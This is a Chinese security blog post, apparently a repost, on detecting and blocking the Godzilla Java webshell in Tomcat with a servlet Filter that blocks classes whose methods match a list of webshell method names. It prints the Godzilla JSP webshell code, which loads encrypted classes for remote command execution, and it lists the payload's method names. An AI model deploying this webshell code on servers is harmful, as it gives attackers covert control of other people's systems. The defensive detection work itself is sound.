用魔法打败魔法(浅谈 WebShell 对抗)

admin 2024年7月23日11:50:32评论9 views字数 13395阅读44分39秒阅读模式

用魔法打败魔法(浅谈 WebShell 对抗)

近些年攻防中 Java webshell 不能说尤为常见,差不多也是次次都有。本文拿最为流行的 webshell 工具之一“Godzilla”为例,使用最简单的方式,实现"致盲"的效果。

赘述 Java WebShell 实现原理

众所周知,Java 里没有提供像phpeval()直接去动态执行代码的方法,但是可以通过ClassLoaderdefineClass去定义一个类。

用魔法打败魔法(浅谈 WebShell 对抗)

实际上也就拥有了动态执行代码的能力。

用魔法打败魔法(浅谈 WebShell 对抗)

再来具体看Godzilla的服务器端实现,它也正是通过动态类加载实现的各种如文件上传、命令执行等功能,然后再套进AES加解密,其核心就是使用了defineClass进行动态类加载。

<%!
    String xc="3c6e0b8a9c15224a";
    String pass="pass";
    String md5=md5(pass+xc);
    class X extends ClassLoader{
        public X(ClassLoader z){
            super(z);
        }
        public Class Q(byte[] cb){
            return super.defineClass(cb0, cb.length);
        } }
        public byte[] x(byte[] s,boolean m){
            try{
                javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
                c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
                return c.doFinal(s);
            }catch (Exception e){
                return null;
            }
        }
        public static String md5(String s) {
            String ret = null;
            try {
                java.security.MessageDigest m;
                m = java.security.MessageDigest.getInstance("MD5");
                m.update(s.getBytes(), 0, s.length());
                ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
            } catch (Exception e) {
            }
            return ret;
        }
       //展示起来太长不美观,剔除了反射获取base64类相关代码
%>
<%
    try{
        byte[] data=base64Decode(request.getParameter(pass));
        data=x(data,false);
        if (session.getAttribute("payload")==null){
            System.out.println("session setAttribute Payload");
            session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));
        }else{
            request.setAttribute("parameters",data);
            java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
            Object f=((Class)session.getAttribute("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0,16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));
            response.getWriter().write(md5.substring(16));
        }
    }catch(Exception e){}
%>

我们在某些场景中可能会遇到这样的问题,就比如在应急的过程中,Web程序中可能被打入了内存马,服务器又不能直接下线,又或者是攻击过程中,一个漏洞被多个队伍重复利用;为了避免这种”狭路相逢勇者胜“的局面,我们需要些小小的手段,来使我们尽可能处于更有利的局面。

用魔法打败魔法

tomcat环境里WebShell可以动态注册FilterListener来实现文件不落地,相对更隐蔽的方式进行控制。"攻防不分家",当然我们也能使用这样的方式来作为临时性的防御手段。

聚焦到这段代码里,可以看到默认情况下它会将要加载的类信息放置到Attribute中。

<%
    try{
        byte[] data=base64Decode(request.getParameter(pass));
        data=x(data,false);
        if (session.getAttribute("payload")==null){
            System.out.println("session setAttribute Payload");
            session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));
        }else{
            request.setAttribute("parameters",data);
            java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
            Object f=((Class)session.getAttribute("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0,16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));
            response.getWriter().write(md5.substring(16));
        }
    }catch(Exception e){}
%>

ServletHttpServletRequest对象中通过getAttributeNames()方法能够获取到当前请求会话中的所有Attribute,我们可以通过遍历其中哪些属性中包含Class对象,再通过getDeclaredMethods获取这个类中所有的方法来识别疑似的恶意代码:

public class TestFilter implements Filter {
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        Enumeration<String> requestAttributeNames = request.getSession().getAttributeNames();
        while (requestAttributeNames.hasMoreElements()) {
            String attributeName = requestAttributeNames.nextElement();
            Class<?> suspectClass = (Class<?>) request.getSession().getAttribute(attributeName);
            Method[] methods = suspectClass.getDeclaredMethods();
            for (Method method : methods) {
                System.out.println(method);
            }
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }

Godzilla初始化传递的类包含的所有方法,其中就包含有像execCommandgetBasicinfo等方法:

public java.lang.String org.apache.coyote.node.TextNode.base64Encode(java.lang.String)
public static java.lang.String org.apache.coyote.node.TextNode.base64Encode(byte[])
public static byte[] org.apache.coyote.node.TextNode.base64Decode(java.lang.String)
public void org.apache.coyote.node.TextNode.formatParameter()
public static int org.apache.coyote.node.TextNode.bytesToInt(byte[])
public byte[] org.apache.coyote.node.TextNode.readFile()
public byte[] org.apache.coyote.node.TextNode.uploadFile()
public byte[] org.apache.coyote.node.TextNode.newFile()
public byte[] org.apache.coyote.node.TextNode.newDir()
public void org.apache.coyote.node.TextNode.deleteFiles(java.io.File) throws java.lang.Exception
public byte[] org.apache.coyote.node.TextNode.moveFile()
public byte[] org.apache.coyote.node.TextNode.copyFile()
public static java.lang.String org.apache.coyote.node.TextNode.getLocalIPList()
public java.util.Map org.apache.coyote.node.TextNode.getEnv()
public byte[] org.apache.coyote.node.TextNode.execSql() throws java.lang.Exception
public byte[] org.apache.coyote.node.TextNode.bigFileUpload()
public byte[] org.apache.coyote.node.TextNode.bigFileDownload()
private void org.apache.coyote.node.TextNode.noLog(java.lang.Object)
private boolean org.apache.coyote.node.TextNode.supportClass(java.lang.Object,java.lang.String)
java.lang.Object org.apache.coyote.node.TextNode.getMethodAndInvoke(java.lang.Object,java.lang.String,java.lang.Class[],java.lang.Object[])
java.lang.reflect.Method org.apache.coyote.node.TextNode.getMethodByClass(java.lang.Class,java.lang.String,java.lang.Class[])
private void org.apache.coyote.node.TextNode.initSessionMap()
public void org.apache.coyote.node.TextNode.setSessionAttribute(java.lang.String,java.lang.Object)
public byte[] org.apache.coyote.node.TextNode.getByteArray(java.lang.String)
public java.lang.String org.apache.coyote.node.TextNode.listFileRoot()
public byte[] org.apache.coyote.node.TextNode.getBasicsInfo()
public byte[] org.apache.coyote.node.TextNode.execCommand()
public byte[] org.apache.coyote.node.TextNode.fileRemoteDown()
public byte[] org.apache.coyote.node.TextNode.screen()
public byte[] org.apache.coyote.node.TextNode.setFileAttr()
private void org.apache.coyote.node.TextNode.handlePayloadContext(java.lang.Object)
public java.lang.Object org.apache.coyote.node.TextNode.getSessionAttribute(java.lang.String)
public byte[] org.apache.coyote.node.TextNode.deleteFile()
public java.lang.Class org.apache.coyote.node.TextNode.g(byte[])
public static java.sql.Connection org.apache.coyote.node.TextNode.getConnection(java.lang.String,java.lang.String,java.lang.String)
public static java.lang.Object org.apache.coyote.node.TextNode.getFieldValue(java.lang.Object,java.lang.String) throws java.lang.Exception
public java.lang.String org.apache.coyote.node.TextNode.getDocBase()
public java.lang.String org.apache.coyote.node.TextNode.getRealPath()
public byte[] org.apache.coyote.node.TextNode.include()
java.lang.Object org.apache.coyote.node.TextNode.invoke(java.lang.Object,java.lang.String,java.lang.Object[])
public byte[] org.apache.coyote.node.TextNode.run()
public java.lang.String org.apache.coyote.node.TextNode.get(java.lang.String)
public boolean org.apache.coyote.node.TextNode.equals(java.lang.Object)
public java.lang.String org.apache.coyote.node.TextNode.toString()
private static java.lang.Class org.apache.coyote.node.TextNode.getClass(java.lang.String)
public static byte[] org.apache.coyote.node.TextNode.copyOf(byte[],int)
public byte[] org.apache.coyote.node.TextNode.close()
public byte[] org.apache.coyote.node.TextNode.getFile()
public byte[] org.apache.coyote.node.TextNode.test()
public boolean org.apache.coyote.node.TextNode.handle(java.lang.Object)
public java.lang.String org.apache.coyote.node.TextNode.base64Encode(java.lang.String)
public static java.lang.String org.apache.coyote.node.TextNode.base64Encode(byte[])
public static byte[] org.apache.coyote.node.TextNode.base64Decode(java.lang.String)
public void org.apache.coyote.node.TextNode.formatParameter()
public static int org.apache.coyote.node.TextNode.bytesToInt(byte[])
public byte[] org.apache.coyote.node.TextNode.readFile()
public byte[] org.apache.coyote.node.TextNode.uploadFile()
public byte[] org.apache.coyote.node.TextNode.newFile()
public byte[] org.apache.coyote.node.TextNode.newDir()
public void org.apache.coyote.node.TextNode.deleteFiles(java.io.File) throws java.lang.Exception
public byte[] org.apache.coyote.node.TextNode.moveFile()
public byte[] org.apache.coyote.node.TextNode.copyFile()
public static java.lang.String org.apache.coyote.node.TextNode.getLocalIPList()
public java.util.Map org.apache.coyote.node.TextNode.getEnv()
public byte[] org.apache.coyote.node.TextNode.execSql() throws java.lang.Exception
public byte[] org.apache.coyote.node.TextNode.bigFileUpload()
public byte[] org.apache.coyote.node.TextNode.bigFileDownload()
private void org.apache.coyote.node.TextNode.noLog(java.lang.Object)
private boolean org.apache.coyote.node.TextNode.supportClass(java.lang.Object,java.lang.String)
java.lang.Object org.apache.coyote.node.TextNode.getMethodAndInvoke(java.lang.Object,java.lang.String,java.lang.Class[],java.lang.Object[])
java.lang.reflect.Method org.apache.coyote.node.TextNode.getMethodByClass(java.lang.Class,java.lang.String,java.lang.Class[])
private void org.apache.coyote.node.TextNode.initSessionMap()
public void org.apache.coyote.node.TextNode.setSessionAttribute(java.lang.String,java.lang.Object)
public byte[] org.apache.coyote.node.TextNode.getByteArray(java.lang.String)
public java.lang.String org.apache.coyote.node.TextNode.listFileRoot()
public byte[] org.apache.coyote.node.TextNode.getBasicsInfo()
public byte[] org.apache.coyote.node.TextNode.execCommand()
public byte[] org.apache.coyote.node.TextNode.fileRemoteDown()
public byte[] org.apache.coyote.node.TextNode.screen()
public byte[] org.apache.coyote.node.TextNode.setFileAttr()
private void org.apache.coyote.node.TextNode.handlePayloadContext(java.lang.Object)
public java.lang.Object org.apache.coyote.node.TextNode.getSessionAttribute(java.lang.String)
public byte[] org.apache.coyote.node.TextNode.deleteFile()
public java.lang.Class org.apache.coyote.node.TextNode.g(byte[])
public static java.sql.Connection org.apache.coyote.node.TextNode.getConnection(java.lang.String,java.lang.String,java.lang.String)
public static java.lang.Object org.apache.coyote.node.TextNode.getFieldValue(java.lang.Object,java.lang.String) throws java.lang.Exception
public java.lang.String org.apache.coyote.node.TextNode.getDocBase()
public java.lang.String org.apache.coyote.node.TextNode.getRealPath()
public byte[] org.apache.coyote.node.TextNode.include()
java.lang.Object org.apache.coyote.node.TextNode.invoke(java.lang.Object,java.lang.String,java.lang.Object[])
public byte[] org.apache.coyote.node.TextNode.run()
public java.lang.String org.apache.coyote.node.TextNode.get(java.lang.String)
public boolean org.apache.coyote.node.TextNode.equals(java.lang.Object)
public java.lang.String org.apache.coyote.node.TextNode.toString()
private static java.lang.Class org.apache.coyote.node.TextNode.getClass(java.lang.String)
public static byte[] org.apache.coyote.node.TextNode.copyOf(byte[],int)
public byte[] org.apache.coyote.node.TextNode.close()
public byte[] org.apache.coyote.node.TextNode.getFile()
public byte[] org.apache.coyote.node.TextNode.test()
public boolean org.apache.coyote.node.TextNode.handle(java.lang.Object)

到这儿已经能够实现对默认情况下的Godzilla通讯检测,也可以通过检测类方法中黑名单的方式来进行阻断通讯。当然实战中也可以通过反射去动态注册。

最终代码:

package org.example;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.*;

public class TestFilter implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {

List<String> blackList = new ArrayList<>();
//检查某个类中是否同时包含以下几个方法名称
blackList.add("getBasicsInfo");
blackList.add("execCommand");
blackList.add("fileRemoteDown");
blackList.add("screen");
blackList.add("setFileAttr");
blackList.add("handlePayloadContext");
HttpServletRequest request = (HttpServletRequest) servletRequest;

Enumeration<String> requestAttributeNames = request.getSession().getAttributeNames();
while (requestAttributeNames.hasMoreElements()) {
String attributeName = requestAttributeNames.nextElement();
Class<?> suspectClass = (Class<?>) request.getSession().getAttribute(attributeName);
Method[] methods = suspectClass.getDeclaredMethods();

int count =0;
if(methods.length < 60) {
//防止出现预期外ddos
for (Method method : methods) {
//                    System.out.println(method);
count += blackList.contains(method.getName()) ? 1 : 0;
if(count == blackList.size()) {
System.out.println("[+] WebShell Detected :"+request.getServletPath());
return;
}
}
}
}
filterChain.doFilter(servletRequest,servletResponse);
}

马儿已经无法正常初始化,也可以写些其他的逻辑,让其只能为我所用。

用魔法打败魔法(浅谈 WebShell 对抗)

本文使用了最简单的思路对Godzilla进行了阻断和检测,但并不能保证能探测到某些魔改后的工具。

原文始发于微信公众号(云黑客):用魔法打败魔法(浅谈 WebShell 对抗)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月23日11:50:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用魔法打败魔法(浅谈 WebShell 对抗)http://cn-sec.com/archives/2987490.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息